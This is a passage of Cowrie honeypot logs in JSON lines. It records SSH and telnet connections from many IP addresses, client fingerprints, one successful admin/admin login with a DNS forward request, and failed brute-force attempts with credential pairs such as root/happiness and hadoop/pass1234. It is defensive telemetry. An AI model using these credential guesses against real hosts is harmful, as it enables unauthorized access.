a1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:04:43.993621Z","src_ip":"119.203.251.187","session":"35fdeb0898f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"happiness","message":"login attempt [root/happiness] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:04:44.823384Z","src_ip":"119.203.251.187","session":"35fdeb0898f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:04:46.025590Z","src_ip":"119.203.251.187","session":"35fdeb0898f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.53.159.196","src_port":26648,"dst_ip":"159.203.135.109","dst_port":22,"session":"9297c02ec1c1","protocol":"ssh","message":"New connection: 176.53.159.196:26648 (159.203.135.109:22) [session: 9297c02ec1c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:04:48.505360Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:04:48.508502Z","src_ip":"176.53.159.196","session":"9297c02ec1c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:04:48.607616Z","src_ip":"176.53.159.196","session":"9297c02ec1c1","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:04:48.907208Z","src_ip":"176.53.159.196","session":"9297c02ec1c1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"176.53.159.196","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:04:49.010062Z","session":"9297c02ec1c1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:04:49.110959Z","src_ip":"176.53.159.196","session":"9297c02ec1c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:04:49.211792Z","src_ip":"176.53.159.196","session":"9297c02ec1c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.144.34.123","src_port":35852,"dst_ip":"159.203.135.109","dst_port":22,"session":"ee25a70a12ce","protocol":"ssh","message":"New connection: 162.144.34.123:35852 (159.203.135.109:22) [session: ee25a70a12ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:04:50.618048Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:04:50.620873Z","src_ip":"162.144.34.123","session":"ee25a70a12ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:04:50.702420Z","src_ip":"162.144.34.123","session":"ee25a70a12ce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"threearrowscap","password":"threearrows123","message":"login attempt [threearrowscap/threearrows123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:04:50.953180Z","src_ip":"162.144.34.123","session":"ee25a70a12ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":56170,"dst_ip":"10.17.0.5","dst_port":22,"session":"17021b73271d","protocol":"ssh","message":"New connection: 8.210.75.243:56170 (10.17.0.5:22) [session: 17021b73271d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:04:52.319665Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:04:52.323038Z","src_ip":"8.210.75.243","session":"17021b73271d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:04:52.325871Z","src_ip":"162.144.34.123","session":"ee25a70a12ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.250205278396606,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:04:59.421964Z","src_ip":"170.64.224.25","session":"ad27130eed19","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:05:01.616740Z","src_ip":"8.210.75.243","session":"fa58224c3ef6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:05:15.981376Z","src_ip":"8.210.75.243","session":"0d551e9b5d18","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":47632,"dst_ip":"159.203.135.109","dst_port":23,"session":"2e216de0f341","protocol":"telnet","message":"New connection: 170.64.224.25:47632 (159.203.135.109:23) [session: 2e216de0f341]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:05:17.238299Z"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":40116,"dst_ip":"10.17.0.5","dst_port":22,"session":"6f31cc100c85","protocol":"ssh","message":"New connection: 8.210.75.243:40116 (10.17.0.5:22) [session: 6f31cc100c85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:05:27.366171Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":37006,"dst_ip":"159.203.135.109","dst_port":23,"session":"d7e3c07be75f","protocol":"telnet","message":"New connection: 170.64.224.25:37006 (159.203.135.109:23) [session: d7e3c07be75f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:05:27.575526Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":49050,"dst_ip":"10.17.0.5","dst_port":22,"session":"8e429c83240a","protocol":"ssh","message":"New connection: 103.77.242.62:49050 (10.17.0.5:22) [session: 8e429c83240a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:05:32.643501Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:05:32.647586Z","src_ip":"103.77.242.62","session":"8e429c83240a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:05:32.887467Z","src_ip":"103.77.242.62","session":"8e429c83240a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"31031994","message":"login attempt [root/31031994] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:05:33.608049Z","src_ip":"103.77.242.62","session":"8e429c83240a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:05:34.850814Z","src_ip":"103.77.242.62","session":"8e429c83240a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":38508,"dst_ip":"159.203.135.109","dst_port":22,"session":"10546c60bcd5","protocol":"ssh","message":"New connection: 80.66.85.226:38508 (159.203.135.109:22) [session: 10546c60bcd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:05:36.613261Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:05:36.618193Z","src_ip":"80.66.85.226","session":"10546c60bcd5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:05:36.710609Z","src_ip":"80.66.85.226","session":"10546c60bcd5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"spring938burston0001990","message":"login attempt [root/spring938burston0001990] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:05:36.987877Z","src_ip":"80.66.85.226","session":"10546c60bcd5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:05:38.083997Z","src_ip":"80.66.85.226","session":"10546c60bcd5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":52190,"dst_ip":"10.17.0.5","dst_port":22,"session":"7d5972942ab7","protocol":"ssh","message":"New connection: 8.210.75.243:52190 (10.17.0.5:22) [session: 7d5972942ab7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:05:39.241048Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":38392,"dst_ip":"159.203.135.109","dst_port":23,"session":"aeeba9d5454b","protocol":"telnet","message":"New connection: 170.64.224.25:38392 (159.203.135.109:23) [session: aeeba9d5454b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:05:49.527518Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":45904,"dst_ip":"159.203.135.109","dst_port":23,"session":"5bdc112ff5bc","protocol":"telnet","message":"New connection: 107.6.151.170:45904 (159.203.135.109:23) [session: 5bdc112ff5bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:05:57.200677Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":48080,"dst_ip":"159.203.135.109","dst_port":23,"session":"c4af2773642a","protocol":"telnet","message":"New connection: 107.6.151.170:48080 (159.203.135.109:23) [session: c4af2773642a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:06:02.252033Z"}
{"eventid":"cowrie.session.closed","duration":35.314770460128784,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:06:02.890198Z","src_ip":"170.64.224.25","session":"d7e3c07be75f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.1.75.59","src_port":40792,"dst_ip":"159.203.135.109","dst_port":22,"session":"8c7caf78d001","protocol":"ssh","message":"New connection: 198.1.75.59:40792 (159.203.135.109:22) [session: 8c7caf78d001]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:06:15.020834Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:06:15.027474Z","src_ip":"198.1.75.59","session":"8c7caf78d001","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:06:15.112866Z","src_ip":"198.1.75.59","session":"8c7caf78d001","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin#$","message":"login attempt [root/admin#$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:06:15.360279Z","src_ip":"198.1.75.59","session":"8c7caf78d001","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":55058,"dst_ip":"159.203.135.109","dst_port":23,"session":"ff79baec414a","protocol":"telnet","message":"New connection: 170.64.224.25:55058 (159.203.135.109:23) [session: ff79baec414a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:06:16.060649Z"}
{"eventid":"cowrie.session.closed","duration":"5.8","message":"Connection lost after 5.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:06:20.780364Z","src_ip":"198.1.75.59","session":"8c7caf78d001","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":36086,"dst_ip":"10.17.0.5","dst_port":22,"session":"efc4864bbd9a","protocol":"ssh","message":"New connection: 8.210.75.243:36086 (10.17.0.5:22) [session: efc4864bbd9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:06:20.907277Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":46868,"dst_ip":"10.17.0.5","dst_port":22,"session":"fdc869d391d9","protocol":"ssh","message":"New connection: 91.92.40.4:46868 (10.17.0.5:22) [session: fdc869d391d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:06:29.427824Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:06:29.430512Z","src_ip":"91.92.40.4","session":"fdc869d391d9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:06:29.512053Z","src_ip":"91.92.40.4","session":"fdc869d391d9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"pass1234","message":"login attempt [hadoop/pass1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:06:29.761488Z","src_ip":"91.92.40.4","session":"fdc869d391d9","protocol":"ssh"}
